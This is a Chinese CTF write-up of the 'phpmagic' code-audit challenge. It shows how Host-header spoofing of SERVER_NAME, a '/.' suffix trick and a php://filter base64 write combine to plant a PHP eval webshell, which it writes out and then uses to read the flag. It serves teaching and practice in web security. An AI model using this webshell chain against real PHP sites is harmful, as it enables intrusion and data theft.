美文网首页CTF练习网络安全实验室
代码审计从入门到放弃(四)& phpmagic

代码审计从入门到放弃(四)& phpmagic

作者: 蚁景科技 | 来源:发表于2019-04-02 17:06 被阅读127次

    1.前言

    前些日子有些忙,没有继续做,现在跟进,先看下之前做的几道题:

    2018 Code Breaking(1) & function :关于\的trick代码审计从入门到放弃(一) & function

    2018 Code Breaking(2) & pcrewaf:关于正则回溯的bypass手段代码审计从入门到放弃(二) & pcrewaf

    2018 Code Breaking(3) & phplimit:php无参数函数执行RCE代码审计从入门到放弃(三) &  phplimit

    今天研究一下phpmagic这道题

    2.题目概述

    拿到题目http://106.14.114.127:24004/?read-source=1   发现源代码如下

    <?php

    if(isset($_GET['read-source'])) {

    exit(show_source(__FILE__));

    }

    define('DATA_DIR', dirname(__FILE__) .'/data/'. md5($_SERVER['REMOTE_ADDR']));

    if(!is_dir(DATA_DIR)) {

    mkdir(DATA_DIR,0755,true);

    }

    chdir(DATA_DIR);

    $domain =isset($_POST['domain']) ? $_POST['domain'] :'';

    $log_name =isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

    ?>

    .......

    <?php

    if(!empty($_POST) && $domain):

    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));

    $output = shell_exec($command);

    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;

    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php','php3','php4','php5','phtml','pht'],true)) {file_put_contents($log_name, $output); }

    echo$output;

    endif;

    ?>

    注意到题目首先创建了一个沙盒做用户分割

    define('DATA_DIR', dirname(__FILE__) .'/data/'. md5($_SERVER['REMOTE_ADDR']));

    if(!is_dir(DATA_DIR)) {

    mkdir(DATA_DIR,0755,true);

    }

    chdir(DATA_DIR);

    然后接受用户传入的2个值

    $domain =isset($_POST['domain']) ? $_POST['domain'] :'';

    $log_name =isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');

    然后对用户输入的$domain进行拼接命令执行

    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));

    $output = shell_exec($command);

    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

    然后将命令执行结果写入文件,并打印出来

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;

    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php','php3','php4','php5','phtml','pht'],true)) {file_put_contents($log_name, $output); }

    echo$output;

    3.攻击点探索

    这里不难顺着题目想到,此题应该是bypass拼接,进行我们想要的命令执行。那么这里思路可以分为2种:

    1.利用文件保存功能留一个shell

    2.直接进行RCE,因为执行结果会打印出来

    这里我比较趋向于第一种,因为第二种我们需要bypass   

    escapeshellarg()

    直接进行命令执行不是太方便,每次都要考虑Bypass的问题,而写一个Shell,只要bypass一次,一劳永逸。

    同时更关键的一点,如果我们想走第二条路径,就要控制以下指令的返回值 $command = sprintf("dig -t A -q %s", escapeshellarg($domain)); 常见并列执行命令方式如下

    catsky.c&&ls

    但这里由于escapeshellarg()的存在,我们的输入变为

    dig-t A -q'&& ls'

    失去并列执行的意义,所以这里考虑第1条路径:写shell

    想要写shell的话,还是会遇到几项问题:

    1.控制写入路径

    2.bypass 黑名单

    3.控制写入内容

    4.控制写入路径

    如果想要控制写入路径,那么势必关注写入函数,其中可能带有危险操作

    file_put_contents($log_name, $output);

    对于$log_name我们可以跟踪到

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;

    关于这项操作,我们发现文件路径会拼接

    $_SERVER['SERVER_NAME']

    那么这个值是做什么的呢?我们查阅官方手册

    官方手册中提示如果不设置 UseCanonicalName = On 和 ServerName,那么则可能被客户端进行伪造

    我们不妨写如下脚本进行测试

    <?php

    $log_name = $_GET['log'];

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;

    echo$log_name;

    可以看到$_SERVER['SERVER_NAME']可用host去控制,那么这样一来,文件名可控

    5.bypass 黑名单

    我们关注到黑名单为

    ['php', 'php3', 'php4', 'php5', 'phtml', 'pht']

    其实绕过手段还有不少,例如phps,但是目标会不会解析是个问题

    有没有更加万能的bypass手段呢?

    我们注意到获取后缀的方式为

    pathinfo($log_name, PATHINFO_EXTENSION)

    而pathinfo()是有漏洞的

    我们不妨做如下测试

    pathinfo()只会单一的去获取最后一个.后的值作为后缀名

    那么在php后加上

    .是否还能正常访问呢?

    我们不妨做如下测试

    答案是否定的.那么还有没有其他方法呢?

    我们测试

    root@sky# php -a

    Interactive mode enabled

    php > file_put_contents('/tmp/sky.php/.','12345');

    php >exit

    root@sky# ls /tmp | grep sky

    sky.php

    发现成功写入/tmp/sky.php,同时bypass了pathinfo()的黑名单

    至于为什么/.可以进行bypass,可参考文章http://wonderkun.cc/index.html/?p=626

    6.控制写入内容

    可控路径,可Bypass后缀名,那么就只剩下内容写入了,我们需要bypass两个过滤

    escapeshellarg($domain)

    htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES)

    这么显然如果不用编码的话,很难bypass过滤,毕竟符号会被过滤,例如<

    那么如何使用编码写入呢?

    这里就要从伪协议说起,我们知道有php有如下伪协议

    php://filter/write=convert.base64-decode/resource=sky.php”

    可以将内容进行base64解码再写入,那么我们只要再$domain中传入base64即可,这样即可轻松Bypass过滤

    再配合上我们之前的路径Bypass可以得到如下payload进行测试

    Host:php://filter/write=convert.base64-decode/resource=

    log=sky.php/.

    $domain = c2t5c2t5

    我们访问sky.php进行查看,这里需要注意,先去得到自己的

    $_SERVER['REMOTE_ADDR']

    这里方法很多,有很多提供ip的网站,或者可用自己的vps,这里不再赘述

    可以计算得到我的沙盒 /data/d4dabdbc73b87e364e29e60c60a92900

    我们访问 /data/d4dabdbc73b87e364e29e60c60a92900/sky.php

    我们发现之前发送的base64已经变成了skysky

    7.payload写入

    那么剩下的就是写入一句话木马了  <?phpeval($_GET['s']);?>

    得到PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4=

    这里需要注意base64不要带有==,因为我们插入的base64在文本中间

    而==是出现在base64结尾的,会导致解码错误

    所有我们把 =换成 PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4a

    我们进行测试

    访问http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir('./'));

    继续上跳http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir(%27../../../%27));

    发现flag,我们读取http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=readfile(%27../../../flag_phpmag1c_ur1%27);

    8.后记

    这道题并不难,主要涉及几个php trick:

    $_SERVER['SERVER_NAME']可通过Host进行伪造

    /.可用来bypass文件后缀黑名单

    php伪协议可用来base64 bypass写入内容

    9.相关实验推荐

    1、渗透PHP代码审计:学习PHP代码审计的基础知识,为以后的工作奠定基础http://www.hetianlab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916230700001

    2、Web安全命令执行漏洞:了解命令执行漏洞产生的原因,学会漏洞的利用和修复

    http://www.hetianlab.com/expc.do?ec=ECID9d6c0ca797abec2017042513342700001

    3、命令执行漏洞:学习以简单PHP源码调用关键系统函数,通过web执行任意系统命令

    http://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015060917250500001

    4、其他命令执行漏洞详见

    http://www.hetianlab.com/pages/search.html?wk=%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C

    相关文章

      网友评论

        本文标题:代码审计从入门到放弃(四)& phpmagic

        本文链接:https://www.haomeiwen.com/subject/koggbqtx.html